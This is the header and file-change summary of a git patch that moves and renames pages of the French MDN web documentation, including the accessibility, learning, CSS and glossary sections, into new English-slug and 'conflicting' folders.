From 39f2114f9797eb51994966c6bb8ff1814c9a4da8 Mon Sep 17 00:00:00 2001 From: Florian Merz Date: Thu, 11 Feb 2021 12:36:08 +0100 Subject: unslug fr: move --- .../index.html" | 176 -- .../comment_deposer_un_bug_lie_a_aria/index.html" | 96 - .../aria/faq_applications_web_et_aria/index.html" | 305 -- .../aria/formulaires/alertes/index.html" | 157 - .../aria/formulaires/index.html" | 19 - .../index.html" | 119 - .../formulaires/labels_multi-options/index.html" | 41 - .../aria/guides_aria/index.html" | 27 - "files/fr/accessibilit\303\251/aria/index.html" | 123 - .../aria/techniques_aria/index.html" | 118 - .../modele_technique_aria/index.html" | 30 - .../utilisation_du_groupe_r\303\264le/index.html" | 41 - .../utilisation_du_groupe_switch/index.html" | 13 - .../index.html" | 89 - .../utiliser_l_attribut_aria-invalid/index.html" | 125 - .../utiliser_l_attribut_aria-label/index.html" | 74 - .../index.html" | 160 - .../index.html" | 75 - .../utiliser_l_attribut_aria-relevant/index.html" | 30 - .../utiliser_l_attribut_aria-required/index.html" | 82 - .../utiliser_l_attribut_aria-valuemax/index.html" | 74 - .../utiliser_l_attribut_aria-valuemin/index.html" | 70 - .../utiliser_l_attribut_aria-valuenow/index.html" | 78 - .../utiliser_l_attribut_aria-valuetext/index.html" | 66 - .../utiliser_le_role_alertdialog/index.html" | 85 - .../utiliser_le_role_banner/index.html" | 39 - .../utiliser_le_role_checkbox/index.html" | 52 - .../utiliser_le_role_group/index.html" | 128 - .../utiliser_le_role_link/index.html" | 75 - .../utiliser_le_role_listbox/index.html" | 97 - .../utiliser_le_role_log/index.html" | 97 - .../utiliser_le_role_presentation/index.html" | 66 - .../utiliser_le_role_progressbar/index.html" | 69 - .../utiliser_le_role_slider/index.html" | 120 - .../utiliser_le_role_status/index.html" | 50 - .../utiliser_le_role_textbox/index.html" | 82 - .../utiliser_le_role_toolbar/index.html" | 30 - .../utiliser_le_r\303\264le_alert/index.html" | 134 - .../utiliser_le_r\303\264le_article/index.html" | 66 - .../utiliser_le_r\303\264le_button/index.html" | 123 - .../utiliser_le_r\303\264le_dialog/index.html" | 148 - .../aria/zones_live_aria/index.html" | 122 - .../checklist_accessibilite_mobile/index.html" | 89 - .../communaut\303\251/index.html" | 17 - .../d\303\251veloppement_web/index.html" | 66 - "files/fr/accessibilit\303\251/index.html" | 78 - .../index.html | 33 - .../index.html" | 35 - .../index.html" | 65 - .../index.html" | 95 - .../a11y/accessibility_troubleshooting/index.html | 117 - .../apprendre/a11y/css_and_javascript/index.html | 368 --- files/fr/apprendre/a11y/html/index.html | 530 ---- files/fr/apprendre/a11y/index.html | 56 - files/fr/apprendre/a11y/mobile/index.html | 311 -- files/fr/apprendre/a11y/multimedia/index.html | 374 --- files/fr/apprendre/a11y/wai-aria_basics/index.html | 425 --- .../a11y/what_is_accessibility/index.html | 198 -- .../fr/apprendre/accessibilit\303\251/index.html" | 94 - .../index.html" | 292 -- .../g\303\251rer_les_fichiers/index.html" | 113 - .../fr/apprendre/commencer_avec_le_web/index.html | 62 - .../installation_outils_de_base/index.html | 76 - .../le_fonctionnement_du_web/index.html | 111 - .../commencer_avec_le_web/les_bases_css/index.html | 287 -- .../les_bases_html/index.html | 230 -- .../les_bases_javascript/index.html | 412 --- .../publier_votre_site_web/index.html | 128 - .../quel_aspect_pour_votre_site/index.html | 110 - .../the_web_and_web_standards/index.html | 171 -- .../commencez_votre_projet_web/index.html | 186 -- files/fr/apprendre/comment_contribuer/index.html | 85 - .../configurer_un_serveur_de_test_local/index.html | 109 - files/fr/apprendre/common_questions/index.html | 127 - files/fr/apprendre/comprendre_les_url/index.html | 158 - .../comprendre_noms_de_domaine/index.html | 162 - "files/fr/apprendre/comp\303\251tences/index.html" | 22 - files/fr/apprendre/concevoir_page_web/index.html | 126 - .../index.html | 247 -- .../advanced_styling_effects/index.html | 435 --- .../backgrounds_and_borders/index.html | 318 -- .../building_blocks/cascade_et_heritage/index.html | 343 --- .../css/building_blocks/debugging_css/index.html | 202 -- .../handling_different_text_directions/index.html | 155 - files/fr/apprendre/css/building_blocks/index.html | 78 - .../building_blocks/le_modele_de_boite/index.html | 354 --- .../building_blocks/overflowing_content/index.html | 123 - .../selectors/combinateurs/index.html | 114 - .../css/building_blocks/selectors/index.html | 223 -- .../index.html" | 399 --- .../s\303\251lecteurs_d_atrribut/index.html" | 177 -- .../index.html" | 117 - .../building_blocks/sizing_items_in_css/index.html | 135 - .../css/building_blocks/styling_tables/index.html | 307 -- .../building_blocks/values_and_units/index.html | 392 --- .../index.html" | 314 -- .../css/comment/generated_content/index.html | 159 - files/fr/apprendre/css/comment/index.html | 90 - .../comment/mettre_en_forme_du_texte/index.html | 330 -- .../css/comment/personnaliser_une_liste/index.html | 47 - .../index.html | 407 --- .../fr/apprendre/css/css_layout/flexbox/index.html | 341 --- .../css/css_layout/flexbox_skills/index.html | 99 - .../fr/apprendre/css/css_layout/floats/index.html | 509 --- .../fundamental_layout_comprehension/index.html | 81 - files/fr/apprendre/css/css_layout/grids/index.html | 715 ----- files/fr/apprendre/css/css_layout/index.html | 72 - .../css/css_layout/introduction/index.html | 716 ----- .../css/css_layout/le_positionnement/index.html | 558 ---- .../css_layout/legacy_layout_methods/index.html | 585 ---- .../css/css_layout/media_queries/index.html | 425 --- .../css_layout/multiple-column_layout/index.html | 415 --- .../css/css_layout/normal_flow/index.html | 108 - .../index.html | 237 -- .../css/css_layout/responsive_design/index.html | 334 -- .../apprendre/css/formatage_texte_css/index.html | 270 -- files/fr/apprendre/css/index.html | 77 - .../fundamental_css_comprehension/index.html" | 137 - .../la_disposition/index.html" | 404 --- .../les_propri\303\251t\303\251s_css/index.html" | 137 - .../styliser_boites/a_cool_looking_box/index.html | 98 - .../creating_fancy_letterheaded_paper/index.html | 112 - .../css/utiliser_css_dans_une_page_web/index.html | 163 - .../index.html" | 171 -- .../apprendre/fonctionnement_internet/index.html | 97 - .../apprendre/front-end_web_developer/index.html | 189 -- files/fr/apprendre/html/balises_html/index.html | 258 -- files/fr/apprendre/html/cheatsheet/index.html | 186 -- .../index.html | 143 - .../index.html | 126 - .../ajouter_citations_sur_page_web/index.html | 134 - .../index.html" | 154 - .../ajouter_contenu_flash_dans_page_web/index.html | 154 - .../index.html" | 272 -- .../index.html" | 182 -- .../index.html" | 125 - .../annoter_des_images_et_graphiques/index.html | 73 - .../index.html" | 75 - .../index.html" | 189 -- .../comment/cr\303\251er_un_hyperlien/index.html" | 192 -- .../index.html" | 171 -- .../index.html" | 229 -- .../index.html" | 153 - .../index.html" | 270 -- files/fr/apprendre/html/comment/index.html | 149 - .../index.html" | 150 - .../index.html" | 95 - .../index.html | 189 -- .../comment/utiliser_attributs_donnes/index.html | 79 - .../index.html | 99 - files/fr/apprendre/html/index.html | 66 - .../creating_hyperlinks/index.html" | 333 -- .../debugging_html/index.html" | 193 -- .../document_and_website_structure/index.html" | 292 -- .../formatage-avance-texte/index.html" | 682 ----- .../getting_started/index.html" | 736 ----- .../html_text_fundamentals/index.html" | 979 ------ .../html/introduction_\303\240_html/index.html" | 65 - .../marking_up_a_letter/index.html" | 103 - .../structuring_a_page_of_content/index.html" | 96 - .../the_head_metadata_in_html/index.html" | 286 -- .../contenu_audio_et_video/index.html | 314 -- .../images_in_html/index.html | 523 ---- .../html/multimedia_and_embedding/index.html | 71 - .../mozilla_splash_page/index.html | 110 - .../other_embedding_technologies/index.html | 402 --- .../fr/apprendre/html/tableaux/advanced/index.html | 479 --- files/fr/apprendre/html/tableaux/basics/index.html | 579 ---- files/fr/apprendre/html/tableaux/index.html | 43 - .../tableaux/structuring_planet_data/index.html | 72 - .../\303\251crire_une_simple_page_html/index.html" | 273 -- files/fr/apprendre/index.html | 143 - files/fr/apprendre/index/index.html | 11 - .../build_your_own_function/index.html | 241 -- .../building_blocks/conditionals/index.html | 630 ---- .../building_blocks/ev\303\250nements/index.html" | 585 ---- .../building_blocks/fonctions/index.html | 397 --- .../building_blocks/image_gallery/index.html | 163 - .../javascript/building_blocks/index.html | 55 - .../building_blocks/looping_code/index.html | 873 ------ .../building_blocks/return_values/index.html | 182 -- .../client-side_storage/index.html | 881 ------ .../drawing_graphics/index.html | 922 ------ .../client-side_web_apis/fetching_data/index.html | 397 --- .../javascript/client-side_web_apis/index.html | 51 - .../client-side_web_apis/introduction/index.html | 307 -- .../manipulating_documents/index.html | 332 -- .../third_party_apis/index.html | 440 --- .../video_and_audio_apis/index.html | 518 ---- files/fr/apprendre/javascript/index.html | 61 - .../index.html | 96 - .../index.html | 244 -- .../fr/apprendre/outils_et_tests/github/index.html | 94 - files/fr/apprendre/outils_et_tests/index.html | 42 - .../index.html | 130 - .../index.html | 98 - .../index.html" | 161 - .../qu_est-ce_qu_un_serveur_web/index.html | 120 - .../index.html" | 189 -- .../index.html | 178 -- .../index.html" | 134 - .../comment_construire_un_site_web/index.html | 168 - files/fr/apprendre/tutoriels/index.html | 36 - .../index.html" | 60 - .../apprendre/utiliser_les_pages_github/index.html | 110 - files/fr/astuces_css/couleurs_et_fonds/index.html | 139 - files/fr/astuces_css/index.html | 25 - files/fr/astuces_css/liens/index.html | 32 - files/fr/astuces_css/tableaux/index.html | 201 -- .../index.html" | 35 - .../index.html | 80 - files/fr/chrome/index.html | 70 - .../comment_cr\303\251er_un_arbre_dom/index.html" | 146 - files/fr/compilation_et_installation/index.html | 108 - files/fr/conflicting/glossary/chrome/index.html | 70 + files/fr/conflicting/glossary/doctype/index.html | 10 + files/fr/conflicting/glossary/dom/index.html | 25 + .../set_up_a_local_testing_server/index.html | 244 ++ .../cascade_and_inheritance/index.html | 110 + .../learn/css/building_blocks/index.html | 74 + .../learn/css/building_blocks/selectors/index.html | 137 + .../index.html | 207 ++ .../css/building_blocks/styling_tables/index.html | 602 ++++ .../building_blocks/values_and_units/index.html | 314 ++ .../fr/conflicting/learn/css/css_layout/index.html | 373 +++ .../learn/css/css_layout/introduction/index.html | 404 +++ .../first_steps/how_css_is_structured/index.html | 155 + .../learn/css/first_steps/how_css_works/index.html | 163 + .../index.html | 122 + .../index.html | 75 + .../index.html | 126 + .../index.html | 98 + .../conflicting/learn/css/first_steps/index.html | 60 + .../learn/css/styling_text/fundamentals/index.html | 330 ++ .../index.html | 63 + .../index.html | 270 ++ .../css/styling_text/styling_lists/index.html | 47 + .../index.html | 305 ++ .../dealing_with_files/index.html | 130 + .../learn/getting_started_with_the_web/index.html | 273 ++ .../javascript_basics/index.html | 338 ++ .../advanced_text_formatting/index.html | 143 + .../index.html | 270 ++ .../index.html | 134 + .../creating_hyperlinks/index.html | 192 ++ .../index.html | 64 + .../document_and_website_structure/index.html | 229 ++ .../getting_started/index.html | 189 ++ .../html_text_fundamentals/index.html | 171 ++ .../index.html | 189 ++ .../index.html | 95 + .../learn/html/introduction_to_html/index.html | 258 ++ .../images_in_html/index.html | 125 + .../index.html | 73 + .../other_embedding_technologies/index.html | 154 + .../index.html | 150 + .../video_and_audio_content/index.html | 154 + .../index.html | 245 ++ files/fr/conflicting/learn/index.html | 22 + .../manipulating_documents/index.html | 147 + .../learn/javascript/objects/index.html | 372 +++ .../index.html | 168 + .../index.html | 36 + files/fr/conflicting/mdn/contribute/index.html | 90 + files/fr/conflicting/mdn/tools/index.html | 14 + .../api/menus/overridecontext/index.html | 62 + .../registereduserscript/unregister/index.html | 49 + .../how_to/set_watch_expressions/index.html | 49 + .../tools/memory/basic_operations/index.html | 15 + .../index.html | 9 + .../index.html | 9 + .../tools/page_inspector/ui_tour/index.html | 12 + .../tools/performance/waterfall/index.html | 25 + .../tools/responsive_design_mode/index.html | 77 + files/fr/conflicting/web/accessibility/index.html | 66 + .../web/api/canvas_api/tutorial/index.html | 176 ++ .../web/api/document/createevent/index.html | 41 + .../web/api/document_object_model/index.html | 16 + .../index.html | 54 + .../index.html | 30 + .../api/formdata/using_formdata_objects/index.html | 141 + .../api/globaleventhandlers/onresize/index.html | 78 + .../api/htmlmediaelement/abort_event/index.html | 70 + .../api/htmlmediaelement/ended_event/index.html | 83 + files/fr/conflicting/web/api/index.html | 77 + .../web/api/node/getrootnode/index.html | 71 + files/fr/conflicting/web/api/node/index.html | 39 + .../index.html | 40 + files/fr/conflicting/web/api/selection/index.html | 221 ++ files/fr/conflicting/web/api/url/index.html | 95 + .../conflicting/web/api/web_storage_api/index.html | 106 + .../web_workers_api/using_web_workers/index.html | 423 +++ files/fr/conflicting/web/api/webrtc_api/index.html | 52 + .../index.html | 77 + .../web/api/window/localstorage/index.html | 135 + .../conflicting/web/api/xsltprocessor/index.html | 44 + .../index.html | 15 + .../index.html | 124 + files/fr/conflicting/web/css/@viewport/index.html | 77 + .../index.html | 69 + .../index.html | 77 + .../index.html | 70 + .../index.html | 65 + .../index.html | 75 + .../index.html | 77 + .../index.html | 76 + .../index.html | 76 + .../index.html | 70 + .../index.html | 72 + .../index.html | 76 + files/fr/conflicting/web/css/_colon_is/index.html | 175 ++ .../web/css/_colon_placeholder-shown/index.html | 117 + .../web/css/_doublecolon_placeholder/index.html | 97 + .../conflicting/web/css/border-collapse/index.html | 201 ++ .../web/css/box-ordinal-group/index.html | 74 + .../fr/conflicting/web/css/color_value/index.html | 139 + files/fr/conflicting/web/css/column-gap/index.html | 128 + .../web/css/css_backgrounds_and_borders/index.html | 162 + files/fr/conflicting/web/css/css_color/index.html | 133 + .../backwards_compatibility_of_flexbox/index.html | 121 + .../typical_use_cases_of_flexbox/index.html | 188 ++ files/fr/conflicting/web/css/cursor/index.html | 16 + .../conflicting/web/css/filter_effects/index.html | 115 + files/fr/conflicting/web/css/float/index.html | 43 + .../fr/conflicting/web/css/font-variant/index.html | 36 + files/fr/conflicting/web/css/index.html | 25 + files/fr/conflicting/web/css/mask-image/index.html | 175 ++ .../web/css/mozilla_extensions/index.html | 47 + .../conflicting/web/css/pseudo-classes/index.html | 32 + .../web/css/scroll-snap-type/index.html | 51 + .../conflicting/web/css/shape-outside/index.html | 169 + files/fr/conflicting/web/css/url()/index.html | 34 + .../index.html | 109 + .../fr/conflicting/web/css/user-select/index.html | 108 + files/fr/conflicting/web/css/width/index.html | 29 + .../creating_and_triggering_events/index.html | 30 + files/fr/conflicting/web/guide/index.html | 13 + files/fr/conflicting/web/html/element/index.html | 580 ++++ .../web/html/global_attributes/index.html | 26 + .../web/http/basics_of_http/mime_types/index.html | 67 + .../equality_comparisons_and_sameness/index.html | 265 ++ .../fr/conflicting/web/javascript/guide/index.html | 899 ++++++ .../web/javascript/guide/introduction/index.html | 139 + .../index.html | 118 + .../regular_expressions/assertions/index.html | 96 + .../inheritance_and_the_prototype_chain/index.html | 88 + .../global_objects/arraybuffer/index.html | 70 + .../reference/global_objects/boolean/index.html | 89 + .../reference/global_objects/dataview/index.html | 120 + .../reference/global_objects/date/index.html | 183 ++ .../global_objects/date/tostring/index.html | 23 + .../reference/global_objects/error/index.html | 115 + .../reference/global_objects/evalerror/index.html | 91 + .../reference/global_objects/function/index.html | 99 + .../global_objects/generatorfunction/index.html | 67 + .../global_objects/internalerror/index.html | 63 + .../global_objects/intl/collator/index.html | 81 + .../global_objects/intl/datetimeformat/index.html | 82 + .../global_objects/intl/listformat/index.html | 63 + .../global_objects/intl/locale/index.html | 91 + .../global_objects/intl/numberformat/index.html | 83 + .../global_objects/intl/pluralrules/index.html | 71 + .../intl/relativetimeformat/index.html | 73 + .../reference/global_objects/json/index.html | 100 + .../reference/global_objects/map/index.html | 89 + .../reference/global_objects/number/index.html | 91 + .../reference/global_objects/object/index.html | 176 ++ .../global_objects/object/tosource/index.html | 26 + .../reference/global_objects/promise/index.html | 73 + .../reference/global_objects/rangeerror/index.html | 92 + .../global_objects/referenceerror/index.html | 92 + .../reference/global_objects/regexp/index.html | 119 + .../reference/global_objects/set/index.html | 88 + .../global_objects/sharedarraybuffer/index.html | 67 + .../reference/global_objects/string/index.html | 190 ++ .../reference/global_objects/symbol/index.html | 75 + .../global_objects/syntaxerror/index.html | 90 + .../reference/global_objects/typedarray/index.html | 132 + .../reference/global_objects/typeerror/index.html | 90 + .../reference/global_objects/urierror/index.html | 90 + .../reference/global_objects/weakmap/index.html | 82 + .../reference/global_objects/weakset/index.html | 80 + .../global_objects/webassembly/global/index.html | 69 + .../global_objects/webassembly/instance/index.html | 71 + .../global_objects/webassembly/memory/index.html | 72 + .../global_objects/webassembly/module/index.html | 69 + .../global_objects/webassembly/table/index.html | 76 + .../reference/lexical_grammar/index.html | 94 + .../web/javascript/reference/operators/index.html | 296 ++ .../index.html | 257 ++ .../index.html | 28 + .../index.html | 414 +++ .../index.html | 554 ++++ .../index.html | 256 ++ .../reference/statements/switch/index.html | 124 + .../web/progressive_web_apps/index.html | 60 + .../index.html | 34 + .../index.html | 32 + .../index.html | 48 + .../index.html | 31 + .../index.html | 95 + .../index.html | 81 + .../index.html | 85 + .../index.html" | 90 - .../fr/css/premiers_pas/bo\303\256tes/index.html" | 74 - .../cascade_et_h\303\251ritage/index.html" | 110 - files/fr/css/premiers_pas/couleurs/index.html | 314 -- .../css/premiers_pas/des_css_lisibles/index.html | 155 - .../premiers_pas/fonctionnement_de_css/index.html | 122 - .../fr/css/premiers_pas/graphiques_svg/index.html | 198 -- files/fr/css/premiers_pas/index.html | 60 - files/fr/css/premiers_pas/javascript/index.html | 147 - .../premiers_pas/les_s\303\251lecteurs/index.html" | 207 -- files/fr/css/premiers_pas/listes/index.html | 305 -- files/fr/css/premiers_pas/mise_en_page/index.html | 373 --- .../fr/css/premiers_pas/m\303\251dias/index.html" | 396 --- .../premiers_pas/pourquoi_utiliser_css/index.html | 98 - .../pr\303\251sentation_des_css/index.html" | 126 - .../fr/css/premiers_pas/styles_de_texte/index.html | 63 - files/fr/css/premiers_pas/tableaux/index.html | 602 ---- files/fr/dhtml/index.html | 22 - files/fr/dom/dispatchevent_exemple/index.html | 30 - files/fr/dom/storage/index.html | 106 - .../index.html" | 137 - "files/fr/d\303\251veloppement_web/index.html" | 13 - .../index.html" | 29 - .../index.html | 351 --- .../index.html | 60 - files/fr/fuel/window/devicemotion_event/index.html | 97 - files/fr/fuel/window/deviceorientation/index.html | 176 -- files/fr/games/anatomy/index.html | 327 ++ files/fr/games/examples/index.html | 132 + files/fr/games/index.html | 90 + files/fr/games/index/index.html | 10 + files/fr/games/introduction/index.html | 127 + .../index.html | 106 + .../publishing_games/game_monetization/index.html | 100 + files/fr/games/publishing_games/index.html | 28 + .../tutorials/2d_breakout_game_phaser/index.html | 63 + .../bounce_off_the_walls/index.html | 112 + .../build_the_brick_field/index.html | 118 + .../collision_detection/index.html | 136 + .../create_the_canvas_and_draw_on_it/index.html | 117 + .../finishing_up/index.html | 110 + .../game_over/index.html | 97 + .../2d_breakout_game_pure_javascript/index.html | 58 + .../mouse_controls/index.html | 61 + .../move_the_ball/index.html | 146 + .../paddle_and_keyboard_controls/index.html | 141 + .../track_the_score_and_win/index.html | 95 + .../index.html | 443 +++ files/fr/games/tutorials/index.html | 28 + .../workflows/2d_breakout_game_phaser/index.html | 63 - .../build_the_brick_field/index.html | 118 - .../creer_element_canvas_et_afficher/index.html | 117 - .../detection_colisions/index.html | 136 - .../index.html | 112 - .../finitions/index.html | 110 - .../game_over/index.html | 97 - .../2d_breakout_game_pure_javascript/index.html | 58 - .../mouse_controls/index.html | 61 - .../move_the_ball/index.html | 146 - .../paddle_et_contr\303\264le_clavier/index.html" | 141 - .../track_the_score_and_win/index.html | 95 - .../index.html | 443 --- files/fr/games/workflows/index.html | 28 - files/fr/glossaire/404/index.html | 19 - files/fr/glossaire/502/index.html | 17 - files/fr/glossaire/abstraction/index.html | 21 - .../fr/glossaire/accessibilit\303\251/index.html" | 26 - files/fr/glossaire/adobe_flash/index.html | 20 - files/fr/glossaire/ajax/index.html | 35 - files/fr/glossaire/algorithme/index.html | 8 - files/fr/glossaire/alignment_container/index.html | 19 - files/fr/glossaire/alignment_subject/index.html | 28 - files/fr/glossaire/alpn/index.html | 61 - .../am\303\251lioration_progressive/index.html" | 24 - files/fr/glossaire/api/index.html | 36 - files/fr/glossaire/apple_safari/index.html | 26 - files/fr/glossaire/application_context/index.html | 13 - .../glossaire/applications_web_modernes/index.html | 9 - .../architecture_de_l_information/index.html | 19 - files/fr/glossaire/argument/index.html | 24 - files/fr/glossaire/aria/index.html | 17 - files/fr/glossaire/arpa/index.html | 18 - files/fr/glossaire/arpanet/index.html | 17 - files/fr/glossaire/array/index.html | 38 - files/fr/glossaire/ascii/index.html | 15 - files/fr/glossaire/asynchronous/index.html | 23 - files/fr/glossaire/atag/index.html | 27 - files/fr/glossaire/attaque_dos/index.html | 33 - files/fr/glossaire/attribut/index.html | 34 - files/fr/glossaire/attribut_global/index.html | 26 - files/fr/glossaire/axe_de_grille/index.html | 32 - files/fr/glossaire/axe_principal/index.html | 51 - files/fr/glossaire/axe_transversal/index.html | 41 - files/fr/glossaire/balise/index.html | 25 - files/fr/glossaire/bandwidth/index.html | 15 - files/fr/glossaire/beacon/index.html | 14 - files/fr/glossaire/bidi/index.html | 25 - files/fr/glossaire/bigint/index.html | 29 - files/fr/glossaire/blink/index.html | 19 - .../block_cipher_mode_of_operation/index.html | 13 - files/fr/glossaire/boolean/index.html | 48 - files/fr/glossaire/boot2gecko/index.html | 18 - files/fr/glossaire/bootstrap/index.html | 22 - files/fr/glossaire/breadcrumb/index.html | 21 - files/fr/glossaire/brotli_compression/index.html | 31 - files/fr/glossaire/browsing_context/index.html | 21 - .../fr/glossaire/b\303\251zier_curve/index.html" | 33 - files/fr/glossaire/cache/index.html | 17 - files/fr/glossaire/cacheable/index.html | 60 - files/fr/glossaire/caldav/index.html | 25 - files/fr/glossaire/canvas/index.html | 35 - files/fr/glossaire/carddav/index.html | 24 - files/fr/glossaire/cdn/index.html | 17 - files/fr/glossaire/cellule_de_grille/index.html | 73 - .../certificat_num\303\251rique/index.html" | 16 - .../fr/glossaire/certificate_authority/index.html | 18 - "files/fr/glossaire/certifi\303\251/index.html" | 30 - files/fr/glossaire/character/index.html | 23 - files/fr/glossaire/chiffre/index.html | 33 - files/fr/glossaire/chiffrement/index.html | 23 - files/fr/glossaire/chrome/index.html | 19 - files/fr/glossaire/class/index.html | 20 - "files/fr/glossaire/cl\303\251/index.html" | 18 - files/fr/glossaire/cms/index.html | 18 - files/fr/glossaire/codage_caracteres/index.html | 28 - files/fr/glossaire/codec/index.html | 23 - files/fr/glossaire/colonne_de_grille/index.html | 31 - files/fr/glossaire/compile/index.html | 24 - .../fr/glossaire/compression_avec_perte/index.html | 28 - .../fr/glossaire/compression_sans_perte/index.html | 26 - files/fr/glossaire/computer_programming/index.html | 21 - files/fr/glossaire/condensat/index.html | 30 - files/fr/glossaire/conditionnel/index.html | 32 - files/fr/glossaire/constant/index.html | 20 - files/fr/glossaire/constructeur/index.html | 48 - .../fr/glossaire/contexte_d_empilement/index.html | 18 - files/fr/glossaire/conversion_de_type/index.html | 19 - files/fr/glossaire/cookie/index.html | 21 - files/fr/glossaire/copyleft/index.html | 19 - files/fr/glossaire/cors/index.html | 52 - files/fr/glossaire/crlf/index.html | 29 - files/fr/glossaire/cross-site_scripting/index.html | 39 - files/fr/glossaire/crud/index.html | 17 - files/fr/glossaire/cryptanalyse/index.html | 19 - files/fr/glossaire/cryptogramme/index.html | 20 - files/fr/glossaire/cryptographie/index.html | 21 - files/fr/glossaire/csp/index.html | 27 - files/fr/glossaire/csrf/index.html | 19 - files/fr/glossaire/css/index.html | 51 - files/fr/glossaire/curseur_caret/index.html | 39 - files/fr/glossaire/delta/index.html | 31 - files/fr/glossaire/descripteur_(css)/index.html | 24 - files/fr/glossaire/developer_tools/index.html | 31 - files/fr/glossaire/dic/index.html | 17 - .../glossaire/directive_de_navigation/index.html | 35 - files/fr/glossaire/directive_de_rapport/index.html | 32 - .../index.html" | 44 - files/fr/glossaire/dmz/index.html | 26 - files/fr/glossaire/dns/index.html | 20 - files/fr/glossaire/doctype/index.html | 26 - files/fr/glossaire/document_directive/index.html | 36 - files/fr/glossaire/dom/index.html | 29 - files/fr/glossaire/domaine/index.html | 17 - .../domaine_deuxi\303\250me-niveau/index.html" | 9 - files/fr/glossaire/dominant/index.html | 27 - files/fr/glossaire/dtd/index.html | 10 - files/fr/glossaire/dtmf/index.html | 20 - .../fr/glossaire/d\303\251chiffrement/index.html" | 25 - .../d\303\251fi_r\303\251ponse/index.html" | 18 - .../glossaire/d\303\251ni_de_service/index.html" | 12 - .../index.html" | 40 - .../fr/glossaire/d\303\251p\303\264t/index.html" | 19 - .../d\303\251s\303\251rialisation/index.html" | 20 - .../d\303\251tournement_de_session/index.html" | 54 - files/fr/glossaire/ecma/index.html | 19 - files/fr/glossaire/ecmascript/index.html | 23 - files/fr/glossaire/element_vide/index.html | 34 - "files/fr/glossaire/en-t\303\252te/index.html" | 21 - .../en-t\303\252te_de_requ\303\252te/index.html" | 46 - .../index.html" | 39 - .../en-t\303\252te_entit\303\251/index.html" | 26 - .../fr/glossaire/en-t\303\252te_simple/index.html" | 39 - .../en-t\303\252tes_de_r\303\251ponse/index.html" | 41 - files/fr/glossaire/encapsulation/index.html | 17 - files/fr/glossaire/endianness/index.html | 31 - files/fr/glossaire/engine/index.html | 17 - files/fr/glossaire/entity/index.html | 59 - .../glossaire/environnement_de_document/index.html | 19 - files/fr/glossaire/exception/index.html | 19 - files/fr/glossaire/expando/index.html | 16 - files/fr/glossaire/fai/index.html | 21 - files/fr/glossaire/falsy/index.html | 38 - files/fr/glossaire/favicon/index.html | 27 - files/fr/glossaire/fermeture/index.html | 23 - files/fr/glossaire/firefox_os/index.html | 27 - .../fr/glossaire/first_contentful_paint/index.html | 20 - .../fr/glossaire/first_meaningful_paint/index.html | 16 - files/fr/glossaire/flex/index.html | 48 - files/fr/glossaire/flex_container/index.html | 36 - files/fr/glossaire/flex_item/index.html | 34 - files/fr/glossaire/flexbox/index.html | 48 - files/fr/glossaire/fonction/index.html | 88 - .../fonction_anonyme_auto-executante/index.html | 10 - .../fonction_de_hachage_cryptographique/index.html | 27 - .../fonction_de_premi\303\250re_classe/index.html" | 19 - files/fr/glossaire/fonction_de_rappel/index.html | 41 - .../fr/glossaire/forbidden_header_name/index.html | 45 - .../forbidden_response_header_name/index.html | 31 - files/fr/glossaire/fork/index.html | 30 - files/fr/glossaire/ftp/index.html | 22 - files/fr/glossaire/ftu/index.html | 15 - files/fr/glossaire/gaia/index.html | 24 - files/fr/glossaire/gecko/index.html | 34 - files/fr/glossaire/general_header/index.html | 12 - files/fr/glossaire/gif/index.html | 23 - files/fr/glossaire/gij/index.html | 12 - files/fr/glossaire/git/index.html | 19 - files/fr/glossaire/glyphe/index.html | 21 - files/fr/glossaire/gonk/index.html | 21 - files/fr/glossaire/google_chrome/index.html | 41 - files/fr/glossaire/gpl/index.html | 21 - files/fr/glossaire/gpu/index.html | 9 - files/fr/glossaire/graceful_degradation/index.html | 21 - files/fr/glossaire/grid/index.html | 75 - files/fr/glossaire/grid_container/index.html | 37 - files/fr/glossaire/guard/index.html | 10 - files/fr/glossaire/gutters/index.html | 74 - files/fr/glossaire/gzip_compression/index.html | 17 - files/fr/glossaire/hash/index.html | 19 - files/fr/glossaire/header/index.html | 62 - files/fr/glossaire/hmac/index.html | 28 - files/fr/glossaire/hoisting/index.html | 71 - files/fr/glossaire/host/index.html | 19 - files/fr/glossaire/hotlink/index.html | 17 - files/fr/glossaire/houdini/index.html | 24 - files/fr/glossaire/hpkp/index.html | 20 - files/fr/glossaire/hsts/index.html | 22 - files/fr/glossaire/html/index.html | 51 - files/fr/glossaire/html5/index.html | 17 - files/fr/glossaire/http/index.html | 24 - files/fr/glossaire/http_2/index.html | 32 - files/fr/glossaire/http_3/index.html | 28 - files/fr/glossaire/https/index.html | 19 - files/fr/glossaire/hyperlien/index.html | 33 - files/fr/glossaire/hypertexte/index.html | 26 - "files/fr/glossaire/h\303\251ritage/index.html" | 24 - files/fr/glossaire/i18n/index.html | 48 - files/fr/glossaire/iana/index.html | 18 - files/fr/glossaire/icann/index.html | 18 - files/fr/glossaire/ice/index.html | 37 - files/fr/glossaire/ide/index.html | 17 - files/fr/glossaire/idempotent/index.html | 50 - files/fr/glossaire/identifiant/index.html | 20 - files/fr/glossaire/idl/index.html | 25 - files/fr/glossaire/ietf/index.html | 19 - files/fr/glossaire/iife/index.html | 47 - files/fr/glossaire/image_matricielle/index.html | 18 - files/fr/glossaire/imap/index.html | 22 - files/fr/glossaire/immuable/index.html | 24 - files/fr/glossaire/index.html | 24 - files/fr/glossaire/index/index.html | 10 - files/fr/glossaire/indexeddb/index.html | 18 - files/fr/glossaire/injection_sql/index.html | 73 - files/fr/glossaire/input_method_editor/index.html | 29 - files/fr/glossaire/instance/index.html | 20 - files/fr/glossaire/intergiciel/index.html | 19 - .../index.html | 28 - files/fr/glossaire/internet/index.html | 23 - files/fr/glossaire/ip_address/index.html | 21 - files/fr/glossaire/ipv4/index.html | 19 - files/fr/glossaire/ipv6/index.html | 17 - files/fr/glossaire/irc/index.html | 21 - files/fr/glossaire/iso/index.html | 20 - files/fr/glossaire/itu/index.html | 27 - files/fr/glossaire/jank/index.html | 11 - files/fr/glossaire/java/index.html | 19 - files/fr/glossaire/javascript/index.html | 46 - files/fr/glossaire/jpeg/index.html | 19 - files/fr/glossaire/jquery/index.html | 65 - files/fr/glossaire/json/index.html | 29 - files/fr/glossaire/keyword/index.html | 21 - .../index.html | 12 - .../langage_de_programmation_dynamique/index.html | 21 - files/fr/glossaire/latence/index.html | 22 - files/fr/glossaire/lazy_load/index.html | 17 - files/fr/glossaire/lgpl/index.html | 21 - files/fr/glossaire/ligature/index.html | 20 - files/fr/glossaire/ligne_de_base/index.html | 30 - 